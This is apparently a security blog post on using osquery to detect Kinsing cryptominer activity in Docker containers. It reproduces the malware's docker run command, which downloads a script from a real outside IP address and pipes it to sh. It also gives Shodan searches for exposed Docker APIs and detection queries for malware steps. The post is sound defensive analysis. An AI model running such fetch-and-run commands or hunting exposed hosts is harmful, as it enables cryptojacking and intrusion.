Using Osquery to Detect Docker Container Malware

In recent times we are seeing an increased number of Docker container malware. Attackers scan the internet to identify the misconfigured Docker engine API installations to install the malicious images or run commands to install the malware.

Access to the Docker engine API can provide an attacker fine control over the Docker installation enabling him/her to create, delete, dump and run commands in the containers, although the majority of the malware seen to-date are either using system resources for crypto mining or denial of service attacks.

In general, the container is an encapsulated environment to run the application so it can be used for any activity from proxies to botnet services and can easily become part of attacker infrastructure to distribute malware.

Docker & Osquery:

The container and host OS both share the same kernel, enabling osquery to capture process events, socket events and file events from the Docker container using the same auditd mechanism.

This makes it easy to use threat intel and behaviour queries to detect the malware. The only drawback of the current implementation is that there is no way to identify whether these events are coming from a container or host machine.

Analysis of Kinsing/H2Miner Using Osquery:

Recently Alibaba, Lacework and Aqua Security published blog posts on the activity of Kinsing cryptominer. Attackers basically identify the misconfigured Docker engine API installations, install the image and run commands.

We did a search ("wget" port:"2375" product:"Docker") on  Shodan to find out the infected containers with this malware. Surprisingly more than 300 machines are currently infected with it and the majority of them are in China as shown in figure 1.

Figure 1: Number of infected machine with Kinsing malware

We also did a search ("command" port:"2375" product:"Docker") on Shodan for Docker installations that are exposing port 2375 to the internet. There are nearly 5000 machines that have misconfigured Docker engine API installation as shown below in figure 2.

Figure 2: Number of machines with misconfigured Docker engine API, exposing it to the internet

In the following section we will basically emulate the steps to analyze the activity of the malware using the Docker command line interface.

1. We can install the ubuntu image from docker hub using the following command:

Command: docker pull ubuntu

1. We can run the container using following command used by malware:

Command: docker run ubuntu /bin/bash -c 'apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 217.12.209.234/d.sh | sh;tail -f /dev/null'

The above command will basically start the ubuntu container with the command line parameters, the attackers are installing the wget and cron daemon and then using newly installed wget to download and run bash script “d.sh”. A snippet of the bash script “d.sh” is shown in figure 3:

Figure 3: Content of bash script “d.sh”

All of the run time activity related to process, file and sockets events is recorded by osquery in process_events, file_events, socket_events tables respectively.

We can access the process events using the following query:

select * from process_events;

Please note that both host and container process events go to process_events table. At present it might be difficult to differentiate the events from a specific Docker container.

We can easily create the process tree from the process events. A snippet of the process tree is shown below in figure 4:

Figure 4: Snippet of process tree

The malware has a huge process tree as it created more than 1500 process events. 

Detection using osquery:

In general the Docker configuration related issues and new image/container creation can be easily detected using the information from docker_* tables in osquery. Since the malwares are not specific to the containers, they can also run on the host machine, any vulnerable machine inside the network or any existing running container, making it important to detect/hunt the malware across the entire organization and not just the container environments.

The following queries can be used to detect malware activity generically inside the Docker container as well as on the systems.

1. Malware uses the ‘chattr’ utility on the .ssh directory: 

select * from process_events where path like ‘%bin/chattr’ and cmdline like ‘%/.ssh/’

2. Malware is removing entry from “init.d”. 

select * from process_events where path like '%bin/rm' and cmdline like '%/init.d/%'

3. Malware downloads the file in the tmp directory using wget.

select * from process_events where path like ‘%bin/wget’ and cmdline like ‘%/tmp/%’ and cmdline like ‘%-O%’

4. Malware uses chmod utility on the tmp directory.

select * from process_events where path like ‘%bin/chmod’ and cmdline like ‘%/tmp/%’ and cmdline like ‘%+x%’

The above queries are generic, meaning they can detect any malware performing the above activities. The following query is specific to Kinsing malware and we highly recommend running these queries in your environment to check for possible malware infections.

Query: select * from process_events where path like ‘%bin/wget’ and cmdline like ‘%kinsing’

Conclusion:

As attackers are using more sophisticated and novel methods of intrusion, it becomes increasingly important to monitor and record the activity happening across the different types of environments inside an organization - including ephemeral containers.

Osquery offers the added benefit of its universal application, making it easy to monitor container, server and production endpoints in a standardized and central way.

Related osquery resources:

• Osquery: What it is, how it works, and how to use it